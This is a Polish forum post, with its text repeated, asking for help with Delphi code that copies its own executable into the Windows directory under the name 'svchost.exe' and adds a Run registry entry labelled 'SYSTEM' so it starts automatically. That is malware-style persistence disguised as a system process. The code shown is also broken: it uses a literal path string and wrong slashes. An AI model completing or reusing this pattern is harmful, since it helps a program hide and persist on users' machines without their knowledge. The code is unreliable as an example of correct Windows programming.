Witam,
Otóż mam pewien problem, poniewaz nie chce mi sie kopiowac plik do katalogu systemowego.
Otóż gdy samemu wpisze sciezke gdzie ma skopiowac to, no dziala... ale załózmy ze nie kazdy ma np .partycję C:
oznaczoną jako glowny dysk w ktorym zainstalowany jest system, i wtedy moze byc problem.
Oto moj kod ktory do tej pory jakos postaralem sie skleic.
No niby kompiluje sie, no ale tak jak wspomnialem , nie kopiuje pliku do katalogu windows ;\.
Jezeli nawet zle mysle, badz ktos moglby dac lepszy pomysl,badz samemu jakos pomoc , bardzo prosilbym o pomoc.
Pozdrawiam
Otóż mam pewien problem, poniewaz nie chce mi sie kopiowac plik do katalogu systemowego.
Otóż gdy samemu wpisze sciezke gdzie ma skopiowac to, no dziala... ale załózmy ze nie kazdy ma np .partycję C:
oznaczoną jako glowny dysk w ktorym zainstalowany jest system, i wtedy moze byc problem.
Oto moj kod ktory do tej pory jakos postaralem sie skleic.
procedure TForm3.FormCreate(Sender: TObject);
function WindowsDirectory: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;
var
rejestr:tregistry;
name:string;
begin
name:= 'WindowsDirectory';
rejestr:=TRegistry.Create;
try
rejestr.rootkey := HKEY_CURRENT_USER;
rejestr.openkey('Software/Microsoft/Windows/CurrentVersion/Run', true);
rejestr.writestring('SYSTEM','name+/svchost.exe');
CopyFile(Pchar(paramstr(0)),Pchar('name+/svchost.exe'),True);
BorderIcons:= [biSystemMenu];
finally
end;
end;
No niby kompiluje sie, no ale tak jak wspomnialem , nie kopiuje pliku do katalogu windows ;\.
Jezeli nawet zle mysle, badz ktos moglby dac lepszy pomysl,badz samemu jakos pomoc , bardzo prosilbym o pomoc.
Pozdrawiam